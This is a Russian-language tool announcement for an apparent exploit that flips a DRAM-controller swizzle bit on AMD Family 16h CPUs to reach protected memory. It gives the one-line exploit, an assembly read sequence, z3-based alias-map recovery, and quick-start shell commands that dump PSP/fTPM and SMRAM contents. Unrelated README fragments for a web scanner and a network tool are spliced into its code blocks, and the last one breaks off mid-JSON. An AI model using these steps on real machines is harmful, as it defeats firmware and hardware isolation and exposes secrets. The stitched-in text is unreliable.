Назад к обновлениям
UpdatedAug 31, 2026

skitter-creek-bath-salts — Updated!

Разблокировка _всего_ на CPU с помощью скремблирования DRAM

Поделиться

skitter-creek-bath-salts

Разблокировка всего на CPU с помощью скремблирования DRAM — PSP, C6, микрокод, SMM и всего остального, что осталось за рамками спецификаций.

&x == &x.

Обычно.

Unspaghettifying DRAM

Ткните в контроллер DRAM, и адрес можно заставить попасть куда угодно в памяти. skitter-creek-bath-salts модифицирует нижние слои иерархии памяти, чтобы перекоммутировать трансляции физических адресов DRAM. Это скремблирует память платформы, обнажая защищённые области DRAM — вырезы, невидимые даже для ядра. Когда трансляции адресов ломаются, ломаются и примитивы безопасности, построенные на них, и мы разблокируем всё.


TL;DR


Цель

Разработано и протестировано на AMD Family 16h CPUs, последнем поколении, в даташитах которого документированы регистры трансляции контроллера DRAM — и показано, что их нельзя заблокировать. 17h и далее просто опускают эту информацию. Одиссея *p похожа across generations и архитектур, а лежащие в основе преобразования простираются даже до ARM, RISC-V и дальше; skitter-creek-bath-salts показывает нам лишь то, как начать.


Одиссея *p

Это долгий путь вниз.

Память построена на слоях абстракции настолько глубоких, что они становятся почти абсурдными. Когда ваш код разыменовывает *p, кажется, что он обращается к DRAM по адресу p. Это не так — p — это виртуальный адрес, и прежде чем будет затронут хотя бы один бит DRAM, он должен пройти через испытание, описанное ниже:``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

Этот проект работает на самых глубоких уровнях конвейера `*p`, на уровне MCT/DCT
— там, где физический адрес из data fabric/interconnect попадает в контроллер
памяти и переписывается в последний раз в необработанные координаты DRAM, которые
выдаются на DIMM.

---

## Спагеттификация DRAM

> Физические адреса — это, скорее, рекомендация.```nasm
xor dword [0xf80c2094], 0x00400000

Вот эксплойт. Весь целиком.

Один бит-флип в контроллере DRAM перекоммутирует нижнюю часть конвейера *p, и данные, которые были по адресу &x, оказываются где-то ещё в процессе выполнения. Внезапно &x != &x. Все механизмы, которые CPU, прошивка, uncore и чипсет используют для изоляции защищённой памяти, находятся выше контроллера памяти, и ни один из них не видит того, что происходит ниже. Барьеры охраняют физические адреса, а не координаты DRAM; переставьте координаты — и барьеры выше этого никогда не заметят.

Но перекоммутировать DRAM легко. Бит выше — это режим bank-swizzle в DCT, и он лишь один из десятков, управляющих переотображением адресов на финальном уровне — достаточно лишь ткнуть в них, чтобы всё, что построено сверху, рухнуло. Сложнее потом удержать платформу в рабочем состоянии, когда вся системная память перемешивается под ней.

Трюк: действовать быстро и не трогать DRAM. Отключить AP, прогреть TLB, разогреть кэш, запретить прерывания, сбросить цель, сериализовать обращения к памяти и надеяться, что CPU предвыбрал предстоящие инструкции. Затем перекоммутировать MCT/DCT, чтобы превратить DRAM в спагетти, вытащить немного данных из защищённой области, вернуть отображения, снова сериализовать, разрешить прерывания, возобновить AP — и платформа возвращается в норму.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

При аккуратной настройке страничной адресации, состояний кэша, потоков и TLB можно заставить перестановку адресов работать из C, чтобы проиллюстрировать коллапс конвейера `*p` и искажённое представление платформы, когда внезапно `&x != &x`:

![Манипуляция &x](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

Таким образом, мы можем перестроить карту и восстановить её без следа. Остаётся лишь узнать, во что именно мы её перестроили.

---

## Разблокировка *всего*

> Любая защищённая область памяти на платформе, достижимая с помощью калькулятора.

С помощью описанного выше подхода мы можем перепрограммировать преобразование MCT/DCT на работающей системе — перестроив самую нижнюю ступень конвейера `*p`, чтобы перемешать память под всеми защитами, построенными над ней.

Но есть проблема: хотя мы можем перепрограммировать трансляцию простой командой `xor dword [0xf80c2094], 0x00400000`, мы понятия не имеем, какие новые преобразования будет использовать MCT/DCT (документация здесь недостаточно подробна — xor-карты неверны, вычитающая ступень MMIO неупорядочена, а детали различаются между моделями). Без этого память перемешивается, но у нас нет способа её восстановить.

К счастью, преобразование адресов в контроллере DRAM является линейным отображением над GF(2), а значит, мы можем восстановить перемешанную память с помощью базовой линейной алгебры.

Сначала рассмотрим обычный случай: прямое преобразование конфигурации MCT/DCT по умолчанию применяется к некоторому физическому адресу, который попадает в секретную область DRAM:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret

Это согласованное представление памяти: низшая ступень конвейера *p работает в точности так, как должна.

Теперь перекоммутируйте ступень MCT/DCT в *p с помощью xor dword [0xf80c2094], 0x00400000, и платформа переходит в перемешанное/спагеттифицированное представление памяти, где другое преобразование позволяет алиасу достичь того же секрета в DRAM:``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

Этот псевдоним позволяет нам достичь того же секрета, не затрагивая существующие платформенные
блокировки и защиты, созданные для когерентного представления. Чтобы найти псевдоним, скомпонуйте
обратную от атакующего/спагеттифицированного хеша с прямой от
прошивочного/когерентного хеша, чтобы получить трансляцию, которая достигнет любого секрета из
вредоносной конфигурации MCT/DCT:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias

Сложность лишь в том, что матрицы неизвестны, а значит, мы понятия не имеем, как на самом деле перемешана память, и у нас нет преобразования, которое можно было бы использовать, чтобы добраться до секрета:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

К счастью, на этом этапе это уже просто линейная алгебра, и при желании преобразования можно решить вручную. Или: калькулятором.

Мы используем [z3](https://github.com/z3prover/z3). Сначала SMT-решателю нужны ограничения, с которыми он будет работать.

Начните в когерентном представлении, измените MCT/DCT, чтобы переключиться на «спагеттифицированное» представление, запишите какое-нибудь сигнальное значение вроде `0xdeadc0de` по случайному адресу в памяти, переключитесь обратно в когерентное представление и просканируйте память в поисках того, где это сигнальное значение всплывёт снова. Это даёт пару (цель, алиас) — конкретную точку данных, показывающую два физических адреса, которые отображаются на одну и ту же ячейку в DRAM. Повторите процесс, соберите несколько таких точек, передайте их в z3, и он решит матрицу преобразования, необходимую для перевода между двумя представлениями — любой физический адрес в когерентном представлении с одной стороны и его алиас в «спагеттифицированном» представлении с другой:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias

Передача пар алиасов в z3 по одной позволяет наблюдать, как SMT-решатель расшифровывает перемешивание памяти в реальном времени, как показано на открывающем изображении.

Решённое преобразование — это розеттский камень: любой целевой адрес в когерентном представлении отображается на алиас, который достигает той же DRAM в спагеттифицированном представлении. Чтобы достичь любой защищённой памяти, возьмите адрес, к которому мы обычно не можем получить доступ — приватная память PSP, SMRAM, состояние простоя C6 — и пропустите его через преобразование, чтобы получить его алиас. Затем перекоммутируйте DCT с помощью xor dword [0xf80c2094], 0x00400000, прочитайте или запишите алиас и переключитесь обратно вторым xor. Путь алиаса через конвейер *p никогда не встречает барьер, который платформа построила для когерентного представления — неограниченный доступ к чему угодно в DRAM.

разблокировка DRAM

В конце концов, всё столь тщательно отгороженное — приватная память PSP, SMRAM, состояние простоя C6, недоступные из ОС, ring-0, иногда и сам CPU — всё ещё находится в тех же конденсаторах DRAM. Но замки были построены вокруг когерентного представления памяти и ничего не делают против спагеттифицированного алиаса, достигающего той же ячейки.

Переверните один бит на последнем уровне конвейера *p, и мы разблокировали всё.


Быстрый старт: разблокируйте свой Platform Security Processor

Вмешайтесь в свой PSP, посмотрите, что произойдёт.

fTPM работает на собственном ядре ARM процессора PSP, в выделенной области DRAM сразу за видимой верхней границей памяти. Доберитесь до неё, заалиасив видимый ОС физический адрес на неё, извлеките байты, дизассемблируйте.```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

- **`--no-verify`** — пропустить проверку TLS-сертификата (небезопасно, только для тестирования)
- **`--timeout`** — таймаут запроса в секундах (по умолчанию: 10)
- **`--retries`** — количество повторных попыток при неудачных запросах (по умолчанию: 3)
- **`--proxy`** — прокси-сервер для использования (например, `http://127.0.0.1:8080`)
- **`--user-agent`** — пользовательский User-Agent для запросов
- **`--headers`** — дополнительные заголовки в формате `Key: Value` (можно указывать несколько раз)
- **`--output`** — путь к файлу для сохранения результатов
- **`--format`** — формат вывода: `json`, `csv` или `table` (по умолчанию: `table`)
- **`--verbose`** — подробный вывод
- **`--quiet`** — тихий режим, выводить только результаты
- **`--threads`** — количество потоков для параллельной обработки (по умолчанию: 10)
- **`--rate-limit`** — ограничение количества запросов в секунду
- **`--config`** — путь к файлу конфигурации
- **`--log-level`** — уровень логирования: `debug`, `info`, `warn`, `error` (по умолчанию: `info`)
- **`--log-file`** — путь к файлу лога
- **`--no-color`** — отключить цветной вывод
- **`--version`** — показать версию и выйти
- **`--help`** — показать справку и выйти

### Примеры

```bash
# Базовое сканирование одного URL
scanner scan https://example.com

# Сканирование списка URL из файла
scanner scan -f urls.txt

# Сканирование с пользовательскими заголовками
scanner scan https://example.com -H "Authorization: Bearer token" -H "X-Custom: value"

# Сканирование с использованием прокси
scanner scan https://example.com --proxy http://127.0.0.1:8080

# Сохранение результатов в формате JSON
scanner scan https://example.com --format json --output results.json

# Сканирование с ограничением скорости
scanner scan -f urls.txt --rate-limit 10 --threads 5

# Тихий режим с выводом только уязвимых URL
scanner scan -f urls.txt --quiet

Конфигурация

Инструмент поддерживает файл конфигурации в формате YAML. По умолчанию файл ищется по пути ~/.config/scanner/config.yaml.

# Пример конфигурации
timeout: 15
retries: 5
threads: 20
rate_limit: 50
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
headers:
  Accept: "application/json"
  X-API-Key: "your-api-key"
proxy: "http://127.0.0.1:8080"
output:
  format: json
  path: "./results"
log:
  level: info
  file: "./scanner.log"

Вывод

Инструмент поддерживает три формата вывода: table, json и csv.

Формат table (по умолчанию)

+-------------------------------+----------+---------------------+
| URL                           | Статус   | Детали              |
+-------------------------------+----------+---------------------+
| https://example.com/vuln      | УЯЗВИМ   | CVE-2024-1234       |
| https://example.com/safe      | БЕЗОПАСЕН| -                   |
+-------------------------------+----------+---------------------+

Формат JSON

{
  "scan_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "start_time": "2024-01-15T10:30:00Z",
  "end_time": "2024-01-15T10:35:00Z",
  "targets": [
    {
      "url": "https://example.com/vuln",
      "status": "vulnerable",
      "details": {
        "cve": "CVE-2024-1234",
        "severity": "high",
        "description": "Описание уязвимости"
      }
    }
  ],
  "summary": {
    "total": 2,
    "vulnerable": 1,
    "safe": 1
  }
}

Формат CSV

url,status,details
https://example.com/vuln,vulnerable,CVE-2024-1234
https://example.com/safe,safe,

Расширение

Инструмент можно расширять с помощью пользовательских модулей. Модули размещаются в директории modules/ и должны реализовывать следующий интерфейс:

from scanner.core import BaseModule

class CustomModule(BaseModule):
    name = "custom"
    description = "Описание пользовательского модуля"
    version = "1.0.0"

    def run(self, target):
        # Логика проверки
        result = self.check(target)
        return result

    def check(self, target):
        # Реализация проверки
        pass

Лицензия

Этот проект распространяется под лицензией MIT. См. файл LICENSE для подробностей.

Отказ от ответственности

Данный инструмент предназначен только для законного тестирования на проникновение и оценки безопасности. Используйте его только в отношении систем, на которые у вас есть явное разрешение. Авторы не несут ответственности за любой ущерб, причинённый в результате использования данного инструмента.

Контакты

  • GitHub: https://github.com/example/scanner
  • Issues: https://github.com/example/scanner/issues
  • Email: [email protected]```armasm ; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact ; from the PSP's private DRAM. 7f8019d4: b5f0 push {r4, r5, r6, r7, lr} 7f8019d6: b0e5 sub sp, #404 7f8019de: 2280 movs r2, #128 ; 1024-bit operand 7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA) 7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x" 7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB) 7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x" 7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself 7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit" 7f801a22: f000 fef5 bl 0x7f802810 ; log error 7f801a2e: f001 e92a blx 0x7f802c84 ; export result 7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
Это RSA-движок PSP — modexp, лежащий в основе каждой подписи fTPM и тестов Миллера-Рабина, которые создают его ключи — извлечённый из памяти, которой PSP должен владеть единолично, отгороженной на уровне контроллера памяти, непрозрачной даже для ring-0. Модифицируйте по своему усмотрению.

---

## Быстрый старт: разблокировка System Management Mode

> *Прочитайте то, что скрывает SMM.*

Вектор входа обработчика SMI находится по адресу `SMBASE + 0x8000`. `SMBASE` находится в MSR `0xc0010111`. Прочитайте его, извлеките байты через карту псевдонимов и направьте их прямо в дизассемблер:```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1

sudo modprobe msr

# SMBASE is per-core; core 0's lives in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111)
SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

# Dump the entry vector through the alias map and disassemble on the fly.
# SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;
# printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

| -s | Silent mode. Suppress all output except errors. | | -v | Verbose mode. Show detailed progress information. | | -o <file> | Write output to the specified file instead of stdout. | | -f <format> | Specify output format (json, csv, xml). Default: json. | | -t <timeout> | Set connection timeout in seconds. Default: 30. | | -r <retries> | Number of retry attempts on failure. Default: 3. | | -c <config> | Path to custom configuration file. | | --no-color | Disable colored output. | | --debug | Enable debug logging. |

Примеры использования

Базовое сканирование одного целевого хоста:

./tool -t 192.168.1.1

Сканирование нескольких целей из файла:

./tool -f targets.txt -o results.json

Сканирование с пользовательской конфигурацией и подробным выводом:

./tool -c /etc/tool/config.yaml -v -t 10.0.0.1

Формат вывода

По умолчанию инструмент выводит результаты в формате JSON. Каждая запись содержит следующие поля:

{
  "target": "192.168.1.1",
  "port": 443,
  "status": "open",
  "service": "https",
  "banner": "nginx/1.18.0",
